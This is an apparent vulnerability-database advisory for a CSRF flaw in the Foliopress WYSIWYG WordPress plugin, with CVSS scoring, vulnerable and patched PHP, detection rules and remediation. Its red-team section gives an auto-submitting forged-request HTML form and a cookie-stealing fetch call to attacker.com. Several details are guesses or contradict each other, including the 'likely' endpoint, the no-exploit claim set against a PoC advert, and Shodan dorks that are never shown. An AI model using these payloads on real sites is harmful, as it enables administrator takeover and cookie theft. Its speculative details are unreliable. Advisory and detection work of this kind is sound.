CVE-2025-32610
Executive Summary
CVE-2025-32610 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the Foliopress WYSIWYG WordPress plugin by FolioVision, up to and including version 2.6.18. This vulnerability allows an attacker to perform unauthorized actions on behalf of an authenticated administrator, such as modifying plugin settings, injecting malicious content, or exfiltrating sensitive data. The attack requires social engineering to trick a logged-in admin into clicking a crafted link or visiting a malicious page. The CVSS score of 7.1 (High) reflects the potential for significant impact on confidentiality, integrity, and availability, though the attack complexity is low and user interaction is required.
This vulnerability is specific to the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a WordPress plugin vulnerability. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files and monitor for updates from the vendor. No known supply chain compromise has been reported.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Base Score: 7.1 (High)
- Attack Vector (AV): Network – The attack can be launched remotely.
- Attack Complexity (AC): Low – No special conditions required.
- Privileges Required (PR): None – The attacker does not need to be authenticated.
- User Interaction (UI): Required – The victim must click a link or visit a malicious page.
- Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High – Sensitive data (e.g., admin credentials, site content) could be exposed.
- Integrity (I): High – Plugin settings or content could be modified.
- Availability (A): High – The plugin or site could be rendered unusable.
Threat Level: High. While user interaction is required, the potential impact on a WordPress site is severe, including full administrative takeover.
Deep Dive & Mechanics
The vulnerability exists in the Foliopress WYSIWYG plugin, which provides a rich text editor for WordPress. The plugin fails to implement proper CSRF tokens or nonces on sensitive administrative actions, such as saving settings, importing/exporting data, or modifying editor configurations.
Attack Flow:
- An attacker crafts a malicious HTML page or email containing a forged request (e.g., a form submission or image tag) that targets a vulnerable endpoint in the plugin.
- The attacker tricks an authenticated WordPress administrator into visiting the malicious page (e.g., via phishing or social engineering).
- The victim's browser automatically sends the forged request, including the victim's session cookies, to the WordPress site.
- The plugin processes the request without verifying its origin, leading to unauthorized actions.
Example Vulnerable Endpoint: The plugin likely has an admin-ajax.php handler or a settings page that accepts POST requests without a nonce check. For instance:
POST /wp-admin/admin-ajax.php?action=foliopress_save_settings
The request would modify plugin settings without CSRF protection.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is presumed to be present in all versions <= 2.6.18. A patched version would include a nonce check.
Vulnerable Code (PHP):
// No nonce verification
if ( isset( $_POST['foliopress_setting'] ) ) {
update_option( 'foliopress_setting', sanitize_text_field( $_POST['foliopress_setting'] ) );
}
Patched Code (Hypothetical):
// With nonce verification
if ( isset( $_POST['foliopress_setting'] ) && wp_verify_nonce( $_POST['_wpnonce'], 'foliopress_save_settings' ) ) {
update_option( 'foliopress_setting', sanitize_text_field( $_POST['foliopress_setting'] ) );
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with Foliopress WYSIWYG <= 2.6.18 installed and activated.
- An authenticated administrator session (victim).
Exploitation Steps:
- Identify a vulnerable endpoint (e.g.,
/wp-admin/admin-ajax.php?action=foliopress_save_settings). - Craft a malicious HTML page that submits a forged POST request:
<html>
<body>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="foliopress_save_settings">
<input type="hidden" name="foliopress_setting" value="malicious_value">
<input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
- Host the page on an attacker-controlled server and send the link to the victim.
- When the victim (logged-in admin) visits the page, the form auto-submits, changing the plugin setting.
Advanced Payload: To exfiltrate data, the attacker could modify the plugin to include a remote script:
<input type="hidden" name="foliopress_custom_js" value="fetch('http://attacker.com/steal?cookie='+document.cookie)">
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual POST requests to
/wp-admin/admin-ajax.phpwithaction=foliopress_*parameters. - Look for referer headers that do not match the site domain.
- Alert on multiple failed nonce checks (if any).
Hardening:
- Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php without a valid nonce.
- Use the
SameSitecookie attribute to prevent cross-site requests. - Educate administrators about phishing risks.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/wp-admin/admin-ajax.phpwithaction=foliopress_*parameters. - Referer headers pointing to external domains.
- POST requests to
- File IOCs:
- Modified plugin files in
/wp-content/plugins/foliopress-wysiwyg/. - Unexpected entries in the
wp_optionstable (e.g.,foliopress_setting).
- Modified plugin files in
- Log IOCs:
- Access logs showing requests to admin-ajax.php from unusual IPs.
- Error logs with CSRF token mismatch warnings (if patched).
Detection Engineering
YARA Rule
rule Detect_Foliopress_CSRF_Exploit {
meta:
description = "Detects CSRF exploit attempts against Foliopress WYSIWYG plugin"
author = "Valters IT"
date = "2025-04-01"
cve = "CVE-2025-32610"
strings:
$ajax_action = "foliopress_save_settings" nocase
$ajax_action2 = "foliopress_import" nocase
$ajax_action3 = "foliopress_export" nocase
$post_param = "foliopress_" nocase
condition:
any of ($ajax_action*) and $post_param
}
Sigma Rule
title: Foliopress WYSIWYG CSRF Exploit Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects CSRF attempts against Foliopress WYSIWYG plugin
author: Valters IT
date: 2025-04-01
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/wp-admin/admin-ajax.php'
cs-uri-query|contains: 'action=foliopress_'
condition: selection
falsepositives:
- Legitimate admin actions (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-32610 Foliopress WYSIWYG CSRF Exploit";
flow:to_server,established;
content:"POST"; http_method;
content:"/wp-admin/admin-ajax.php"; http_uri;
content:"action=foliopress_"; http_client_body;
classtype:attempted-admin;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Implement a WAF rule to block requests to admin-ajax.php without a valid nonce.
- Review admin activity logs for any unauthorized changes.
Long-term Fix:
- The vendor must release a patched version (e.g., 2.6.19) that adds CSRF nonce checks to all admin actions.
- Users should update to the latest version once available.
Workaround:
- Use a security plugin (e.g., Wordfence) that adds CSRF protection to all admin actions.
- Restrict access to
/wp-admin/via IP whitelisting or VPN.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.